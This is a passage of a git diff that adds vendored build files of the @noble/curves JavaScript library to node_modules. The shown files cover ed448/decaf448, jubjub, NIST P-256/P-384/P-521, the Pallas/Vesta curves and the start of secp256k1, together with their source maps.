ed448.CURVE.Fp.create; + const u1 = mod(mod(x + t) * mod(x - t)); // 1 + const x2 = mod(x * x); + const { value: invsqrt } = invertSqrt(mod(u1 * ONE_MINUS_D * x2)); // 2 + let ratio = mod(invsqrt * u1 * SQRT_MINUS_D); // 3 + if (isNegativeLE(ratio, P)) + ratio = mod(-ratio); + const u2 = mod(INVSQRT_MINUS_D * ratio * z - t); // 4 + let s = mod(ONE_MINUS_D * invsqrt * x * u2); // 5 + if (isNegativeLE(s, P)) + s = mod(-s); + return numberToBytesLE(s, 56); + } + toHex() { + return bytesToHex(this.toRawBytes()); + } + toString() { + return this.toHex(); + } + // Compare one point to another. + // https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-equals-2 + equals(other) { + assertDcfPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = ed448.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) + return mod(X1 * Y2) === mod(Y1 * X2); + } + add(other) { + assertDcfPoint(other); + return new DcfPoint(this.ep.add(other.ep)); + } + subtract(other) { + assertDcfPoint(other); + return new DcfPoint(this.ep.subtract(other.ep)); + } + multiply(scalar) { + return new DcfPoint(this.ep.multiply(scalar)); + } + multiplyUnsafe(scalar) { + return new DcfPoint(this.ep.multiplyUnsafe(scalar)); + } +} +export const DecafPoint = /* @__PURE__ */ (() => { + // decaf448 base point is ed448 base x 2 + // https://github.com/dalek-cryptography/curve25519-dalek/blob/59837c6ecff02b77b9d5ff84dbc239d0cf33ef90/vendor/ristretto.sage#L699 + if (!DcfPoint.BASE) + DcfPoint.BASE = new DcfPoint(ed448.ExtendedPoint.BASE).multiply(_2n); + if (!DcfPoint.ZERO) + DcfPoint.ZERO = new DcfPoint(ed448.ExtendedPoint.ZERO); + return DcfPoint; +})(); +// Hashing to decaf448. https://www.rfc-editor.org/rfc/rfc9380#appendix-C +export const hashToDecaf448 = (msg, options) => { + const d = options.DST; + const DST = typeof d === 'string' ? utf8ToBytes(d) : d; + const uniform_bytes = expand_message_xof(msg, DST, 112, 224, shake256); + const P = DcfPoint.hashToCurve(uniform_bytes); + return P; +}; +export const hash_to_decaf448 = hashToDecaf448; // legacy +//# sourceMappingURL=ed448.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/ed448.js.map b/node_modules/@noble/curves/esm/ed448.js.map new file mode 100644 index 000000000000..833317b6d9fb --- /dev/null +++ b/node_modules/@noble/curves/esm/ed448.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ed448.js","sourceRoot":"","sources":["../src/ed448.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,QAAQ,EAAE,MAAM,oBAAoB,CAAC;AAC9C,OAAO,EAAE,WAAW,EAAE,WAAW,EAAE,WAAW,EAAE,eAAe,EAAE,MAAM,qBAAqB,CAAC;AAC7F,OAAO,EAAgB,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACrE,OAAO,EAAE,GAAG,EAAE,IAAI,EAAE,KAAK,EAAE,YAAY,EAAE,MAAM,uB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AC,EAAE,CAAC,cAAc,CAAC,MAAM,CAAC,CAAC,CAAC;IACtD,CAAC;CACF;AACD,MAAM,CAAC,MAAM,UAAU,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE;IAC9C,wCAAwC;IACxC,kIAAkI;IAClI,IAAI,CAAC,QAAQ,CAAC,IAAI;QAAE,QAAQ,CAAC,IAAI,GAAG,IAAI,QAAQ,CAAC,KAAK,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;IACzF,IAAI,CAAC,QAAQ,CAAC,IAAI;QAAE,QAAQ,CAAC,IAAI,GAAG,IAAI,QAAQ,CAAC,KAAK,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC;IAC3E,OAAO,QAAQ,CAAC;AAClB,CAAC,CAAC,EAAE,CAAC;AAEL,yEAAyE;AACzE,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAe,EAAE,OAAqB,EAAE,EAAE;IACvE,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IACtB,MAAM,GAAG,GAAG,OAAO,CAAC,KAAK,QAAQ,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACvD,MAAM,aAAa,GAAG,kBAAkB,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,QAAQ,CAAC,CAAC;IACvE,MAAM,CAAC,GAAG,QAAQ,CAAC,WAAW,CAAC,aAAa,CAAC,CAAC;IAC9C,OAAO,CAAC,CAAC;AACX,CAAC,CAAC;AACF,MAAM,CAAC,MAAM,gBAAgB,GAAG,cAAc,CAAC,CAAC,SAAS"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/index.js b/node_modules/@noble/curves/esm/index.js new file mode 100644 index 000000000000..ac4f22315730 --- /dev/null +++ b/node_modules/@noble/curves/esm/index.js @@ -0,0 +1,3 @@ +"use strict"; +throw new Error('Incorrect usage. Import submodules instead'); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/index.js.map b/node_modules/@noble/curves/esm/index.js.map new file mode 100644 index 000000000000..b5117dcdb9ad --- /dev/null +++ b/node_modules/@noble/curves/esm/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";AAAA,MAAM,IAAI,KAAK,CAAC,4CAA4C,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/jubjub.js b/node_modules/@noble/curves/esm/jubjub.js new file mode 100644 index 000000000000..1f2cc8ede952 --- /dev/null +++ b/node_modules/@noble/curves/esm/jubjub.js @@ -0,0 +1,54 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha512 } from '@noble/hashes/sha512'; +import { concatBytes, randomBytes, utf8ToBytes } from '@noble/hashes/utils'; +import { twistedEdwards } from './abstract/edwards.js'; +import { blake2s } from '@noble/hashes/blake2s'; +import { Field } from './abstract/modular.js'; +/** + * jubjub Twisted Edwards curve. + * https://neuromancer.sk/std/other/JubJub + * jubjub does not use EdDSA, so `hash`/sha512 params are passed because interface expects them. + */ +export const jubjub = /* @__PURE__ */ twistedEdwards({ + // Params: a, d + a: BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000000'), + d: BigInt('0x2a9318e74bfa2b48f5fd9207e6bd7fd4292d7f6d37579d2601065fd6d6343eb1'), + // Finite field 𝔽p over which we'll do calculations + // Same value as bls12-381 Fr (not Fp) + Fp: Field(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')), + // Subgroup order: how many points curve has + n: BigInt('0xe7db4ea6533afa906673b0101343b00a6682093ccc81082d0970e5ed6f72cb7'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('0x11dafe5d23e1218086a365b99fbf3d3be72f6afd7d1f72623e6b071492d1122b'), + Gy: BigInt('0x1d523cf1ddab1a1793132e78c866c0c33e26ba5cc220fed7cc3f870e59d292aa'), + hash: sha512, + randomBytes, +}); +const GH_FIRST_BLOCK = utf8ToBytes('096b36a5804bfacef1691e173c366a47ff5ba84a44f26ddd7e8d9f79d5b42df0'); +// Returns point at JubJub curve which is prime order and not zero +export function groupHash(tag, personalization) { + const h = blake2s.create({ personalization, dkLen: 32 }); + h.update(GH_FIRST_BLOCK); + h.update(tag); + // NOTE: returns ExtendedPoint, in case it will be multiplied later + let p = jubjub.ExtendedPoint.fromHex(h.digest()); + // NOTE: cannot replace with isSmallOrder, returns Point*8 + p = p.multiply(jubjub.CURVE.h); + if (p.equals(jubjub.ExtendedPoint.ZERO)) + throw new Error('Point has small order'); + return p; +} +export function findGroupHash(m, personalization) { + const tag = concatBytes(m, new Uint8Array([0])); + for (let i = 0; i < 256; i++) { + tag[tag.length - 1] = i; + try { + return groupHash(tag, personalization); + } + catch (e) { } + } + throw new Error('findGroupHash tag overflow'); +} +//# sourceMappingURL=jubjub.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/jubjub.js.map b/node_modules/@noble/curves/esm/jubjub.js.map new file mode 100644 index 000000000000..e89b5c4824d5 --- /dev/null +++ b/node_modules/@noble/curves/esm/jubjub.js.map @@ -0,0 +1 @@ +{"version":3,"file":"jubjub.js","sourceRoot":"","sources":["../src/jubjub.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,WAAW,EAAE,WAAW,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AAC5E,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,OAAO,EAAE,MAAM,uBAAuB,CAAC;AAChD,OAAO,EAAE,KAAK,EAAE,MAAM,uBAAuB,CAAC;AAE9C;;;;GAIG;AAEH,MAAM,CAAC,MAAM,MAAM,GAAG,eAAe,CAAC,cAAc,CAAC;IACnD,eAA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C,EAAE,IAAI,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IAChD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,GAAG,EAAE,CAAC,EAAE,EAAE;QAC5B,GAAG,CAAC,GAAG,CAAC,MAAM,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;QACxB,IAAI;YACF,OAAO,SAAS,CAAC,GAAG,EAAE,eAAe,CAAC,CAAC;SACxC;QAAC,OAAO,CAAC,EAAE,GAAE;KACf;IACD,MAAM,IAAI,KAAK,CAAC,4BAA4B,CAAC,CAAC;AAChD,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p256.js b/node_modules/@noble/curves/esm/p256.js new file mode 100644 index 000000000000..5e2e89e139c1 --- /dev/null +++ b/node_modules/@noble/curves/esm/p256.js @@ -0,0 +1,42 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha256 } from '@noble/hashes/sha256'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; +// NIST secp256r1 aka p256 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-256 +const Fp = Field(BigInt('0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff')); +const CURVE_A = Fp.create(BigInt('-3')); +const CURVE_B = BigInt('0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b'); +// prettier-ignore +export const p256 = createCurve({ + a: CURVE_A, + b: CURVE_B, + Fp, + // Curve order, total count of valid points in the field + n: BigInt('0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551'), + // Base (generator) point (x, y) + Gx: BigInt('0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296'), + Gy: BigInt('0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5'), + h: BigInt(1), + lowS: false, +}, sha256); +export const secp256r1 = p256; +const mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-10')), +}))(); +const htf = /* @__PURE__ */ (() => createHasher(secp256r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P256_XMD:SHA-256_SSWU_RO_', + encodeDST: 'P256_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +//# sourceMappingURL=p256.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p256.js.map b/node_modules/@noble/curves/esm/p256.js.map new file mode 100644 index 000000000000..1efec3908135 --- /dev/null +++ b/node_modules/@noble/curves/esm/p256.js.map @@ -0,0 +1 @@ +{"version":3,"file":"p256.js","sourceRoot":"","sources":["../src/p256.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,KAAK,EAAE,MAAM,uBAAuB,CAAC;AAC9C,OAAO,EAAE,mBAAmB,EAAE,MAAM,2BAA2B,CAAC;AAChE,OAAO,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAE3D,0BAA0B;AAC1B,0EAA0E;AAE1E,MAAM,EAAE,GAAG,KAAK,CAAC,MAAM,CAAC,oEAAoE,CAAC,CAAC,CAAC;AAC/F,MAAM,OAAO,GAAG,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC;AACxC,MAAM,OAAO,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAE7F,kBAAkB;AAClB,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EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p384.js b/node_modules/@noble/curves/esm/p384.js new file mode 100644 index 000000000000..21d9308b74cb --- /dev/null +++ b/node_modules/@noble/curves/esm/p384.js @@ -0,0 +1,46 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha384 } from '@noble/hashes/sha512'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; +// NIST secp384r1 aka p384 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-384 +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeffffffff0000000000000000ffffffff'); +const Fp = Field(P); +const CURVE_A = Fp.create(BigInt('-3')); +// prettier-ignore +const CURVE_B = BigInt('0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef'); +// prettier-ignore +export const p384 = createCurve({ + a: CURVE_A, + b: CURVE_B, + Fp, + // Curve order, total count of valid points in the field. + n: BigInt('0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973'), + // Base (generator) point (x, y) + Gx: BigInt('0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7'), + Gy: BigInt('0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f'), + h: BigInt(1), + lowS: false, +}, sha384); +export const secp384r1 = p384; +const mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-12')), +}))(); +const htf = /* @__PURE__ */ (() => createHasher(secp384r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P384_XMD:SHA-384_SSWU_RO_', + encodeDST: 'P384_XMD:SHA-384_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 192, + expand: 'xmd', + hash: sha384, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +//# sourceMappingURL=p384.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p384.js.map b/node_modules/@noble/curves/esm/p384.js.map new file mode 100644 index 000000000000..bf8b8eda9025 --- /dev/null +++ b/node_modules/@noble/curves/esm/p384.js.map @@ -0,0 +1 @@ +{"version":3,"file":"p384.js","sourceRoot":"","sources":["../src/p384.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,KAAK,EAAE,MAAM,uBAAuB,CAAC;AAC9C,OAAO,EAAE,mBAAmB,EAAE,MAAM,2BAA2B,CAAC;AAChE,OAAO,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAE3D,0BAA0B;AAC1B,0EAA0E;AAE1E,0CAA0C;AAC1C,kBAAkB;AAClB,MAAM,CAAC,GAAG,MAAM,CAAC,oGAAoG,CAAC,CAAC;AACvH,MAAM,EAAE,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;AACpB,MAAM,OAAO,GAAG,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC;AACxC,kBAAkB;AAClB,MAAM,OAAO,GAAG,MAAM,CAAC,oGAAoG,CAAC,CAAC;AAE7H,kBAAkB;AAClB,MAAM,CAAC,MAAM,IAAI,GAAG,WAAW,CAAC;IAC9B,CAAC,EAAE,OAAO;IACV,CAAC,EAAE,OAAO;IACV,EAAE;IACF,yDAAyD;IACzD,CAAC,EAAE,MAAM,CAAC,oGAAoG,CAAC;IAC/G,gCAAgC;IAChC,EAAE,EAAE,MAAM,CAAC,oGAAoG,CAAC;IAChH,EAAE,EAAE,MAAM,CAAC,oGAAoG,CAAC;IAChH,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,IAAI,EAAE,KAAK;CACH,EAAE,MAAM,CAAC,CAAC;AACpB,MAAM,CAAC,MAAM,SAAS,GAAG,IAAI,CAAC;AAE9B,MAAM,MAAM,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CACnC,mBAAmB,CAAC,EAAE,EAAE;IACtB,CAAC,EAAE,OAAO;IACV,CAAC,EAAE,OAAO;IACV,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;CAC5B,CAAC,CAAC,EAAE,CAAC;AAER,MAAM,GAAG,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAChC,YAAY,CAAC,SAAS,CAAC,eAAe,EAAE,CAAC,OAAiB,EAAE,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,EAAE;IACjF,GAAG,EAAE,2BAA2B;IAChC,SAAS,EAAE,2BAA2B;IACtC,CAAC,EAAE,EAAE,CAAC,KAAK;IACX,CAAC,EAAE,CAAC;IACJ,CAAC,EAAE,GAAG;IACN,MAAM,EAAE,KAAK;IACb,IAAI,EAAE,MAAM;CACb,CAAC,CAAC,EAAE,CAAC;AACR,MAAM,CAAC,MAAM,WAAW,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACrE,MAAM,CAAC,MAAM,aAAa,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p521.js b/node_modules/@noble/curves/esm/p521.js new file mode 100644 index 000000000000..0131155b250b --- /dev/null +++ b/node_modules/@noble/curves/esm/p521.js @@ -0,0 +1,53 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha512 } from '@noble/hashes/sha512'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; +// NIST secp521r1 aka p521 +// Note that it's 521, which differs from 512 of its hash function. +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-521 +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const Fp = Field(P); +const CURVE = { + a: Fp.create(BigInt('-3')), + b: BigInt('0x0051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00'), + Fp, + n: BigInt('0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409'), + Gx: BigInt('0x00c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66'), + Gy: BigInt('0x011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650'), + h: BigInt(1), +}; +// prettier-ignore +export const p521 = createCurve({ + a: CURVE.a, + b: CURVE.b, + Fp, + // Curve order, total count of valid points in the field + n: CURVE.n, + Gx: CURVE.Gx, + Gy: CURVE.Gy, + h: CURVE.h, + lowS: false, + allowedPrivateKeyLengths: [130, 131, 132] // P521 keys are variable-length. Normalize to 132b +}, sha512); +export const secp521r1 = p521; +const mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, { + A: CURVE.a, + B: CURVE.b, + Z: Fp.create(BigInt('-4')), +}))(); +const htf = /* @__PURE__ */ (() => createHasher(secp521r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P521_XMD:SHA-512_SSWU_RO_', + encodeDST: 'P521_XMD:SHA-512_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 256, + expand: 'xmd', + hash: sha512, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +//# sourceMappingURL=p521.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/p521.js.map b/node_modules/@noble/curves/esm/p521.js.map new file mode 100644 index 000000000000..cd24eb59df68 --- /dev/null +++ b/node_modules/@noble/curves/esm/p521.js.map @@ -0,0 +1 @@ +{"version":3,"file":"p521.js","sourceRoot":"","sources":["../src/p521.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,KAAK,EAAE,MAAM,uBAAuB,CAAC;AAC9C,OAAO,EAAE,mBAAmB,EAAE,MAAM,2BAA2B,CAAC;AAChE,OAAO,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAE3D,0BAA0B;AAC1B,mEAAmE;AACnE,0EAA0E;AAE1E,0CAA0C;AAC1C,kBAAkB;AAClB,MAAM,CAAC,GAAG,MAAM,CAAC,uIAAuI,CAAC,CAAC;AAC1J,MAAM,EAAE,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;AAEpB,MAAM,KAAK,GAAG;IACZ,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;IAC1B,CAAC,EAAE,MAAM,CACP,wIAAwI,CACzI;IACD,EAAE;IACF,CAAC,EAAE,MAAM,CACP,wIAAwI,CACzI;IACD,E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AAC,CAAC,EAAE,CAAC;AACR,MAAM,CAAC,MAAM,WAAW,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACrE,MAAM,CAAC,MAAM,aAAa,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/package.json b/node_modules/@noble/curves/esm/package.json new file mode 100644 index 000000000000..7f1fc33ddaa8 --- /dev/null +++ b/node_modules/@noble/curves/esm/package.json @@ -0,0 +1,4 @@ +{ + "type": "module", + "sideEffects": false +} diff --git a/node_modules/@noble/curves/esm/pasta.js b/node_modules/@noble/curves/esm/pasta.js new file mode 100644 index 000000000000..fa5ca528c78e --- /dev/null +++ b/node_modules/@noble/curves/esm/pasta.js @@ -0,0 +1,30 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { weierstrass } from './abstract/weierstrass.js'; +import { getHash } from './_shortw_utils.js'; +import * as mod from './abstract/modular.js'; +export const p = BigInt('0x40000000000000000000000000000000224698fc094cf91b992d30ed00000001'); +export const q = BigInt('0x40000000000000000000000000000000224698fc0994a8dd8c46eb2100000001'); +// https://neuromancer.sk/std/other/Pallas +export const pallas = weierstrass({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(p), + n: q, + Gx: mod.mod(BigInt(-1), p), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); +// https://neuromancer.sk/std/other/Vesta +export const vesta = weierstrass({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(q), + n: p, + Gx: mod.mod(BigInt(-1), q), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); +//# sourceMappingURL=pasta.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/pasta.js.map b/node_modules/@noble/curves/esm/pasta.js.map new file mode 100644 index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CAAC,CAAC,EAAE,CAAC,CAAC;IAC1B,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,GAAG,OAAO,CAAC,MAAM,CAAC;CACnB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/secp256k1.js b/node_modules/@noble/curves/esm/secp256k1.js new file mode 100644 index 000000000000..eb36ebc73873 --- /dev/null +++ b/node_modules/@noble/curves/esm/secp256k1.js @@ -0,0 +1,254 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { randomBytes } from '@noble/hashes/utils'; +import { Field, mod, pow2 } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { bytesToNumberBE, concatBytes, ensureBytes, numberToBytesBE } from './abstract/utils.js'; +import { createHasher, isogenyMap } from './abstract/hash-to-curve.js'; +import { createCurve } from './_shortw_utils.js'; +const secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'); +const secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); +const _1n = BigInt(1); +const _2n = BigInt(2); +const divNearest = (a, b) => (a + b / _2n) / b; +/** + * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit. + * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00] + */ +function sqrtMod(y) { + const P = secp256k1P; + // prettier-ignore + const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + // prettier-ignore + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = (y * y * y) % P; // x^3, 11 + const b3 = (b2 * b2 * y) % P; // x^7 + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = (pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b223 = (pow2(b220, _3n, P) * b3) % P; + const t1 = (pow2(b223, _23n, P) * b22) % P; + const t2 = (pow2(t1, _6n, P) * b2) % P; + const root = pow2(t2, _2n, P); + if (!Fp.eql(Fp.sqr(root), y)) + throw new Error('Cannot find square root'); + return root; +} +const Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod }); +export const secp256k1 = createCurve({ + a: BigInt(0), + b: BigInt(7), + Fp, + n: secp256k1N, + // Base point (x, y) aka generator point + Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'), + Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'), + h: BigInt(1), + lowS: true, + /** + * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism. + * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%. + * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit. + * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066 + */ + endo: { + beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'), + splitScalar: (k) => { + const n = secp256k1N; + const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15'); + const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3'); + const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8'); + const b2 = a1; + const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16) + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = mod(k - c1 * a1 - c2 * a2, n); + let k2 = mod(-c1 * b1 - c2 * b2, n); + const k1neg = k1 > POW_2_128; + const k2neg = k2 > POW_2_128; + if (k1neg) + k1 = n - k1; + if (k2neg) + k2 = n - k2; + if (k1 > POW_2_128 || k2 > POW_2_128) { + throw new Error('splitScalar: Endomorphism failed, k=' + k); + } + return { k1neg, k1, k2neg, k2 }; + }, 